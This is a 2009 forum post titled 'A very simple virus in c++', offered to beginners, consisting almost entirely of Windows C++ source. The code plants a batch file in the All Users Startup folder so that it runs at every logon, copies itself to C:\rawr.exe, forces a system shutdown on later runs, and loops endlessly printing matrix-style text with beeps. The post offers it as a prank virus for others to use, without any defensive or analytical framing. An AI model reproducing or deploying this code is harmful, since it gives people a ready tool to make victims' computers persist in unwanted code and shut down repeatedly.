Programers Place
Please login .
If you are not registered place register.

Join the forum, it's quick and easy

Programers Place
Please login .
If you are not registered place register.
Programers Place
Would you like to react to this message? Create an account in a few clicks or log in to continue.

A very simple virus in c++

Go down

A very simple virus in c++ Empty A very simple virus in c++

Post  Admin Thu Jul 30, 2009 3:21 am

A very simple virus for noobiez
SOURCE CODE:


Code:

#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}
Admin
Admin
Admin

Posts : 15
Join date : 2009-07-29
Age : 31
Location : Jaipur(India)

https://programmersplace.board-directory.net

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum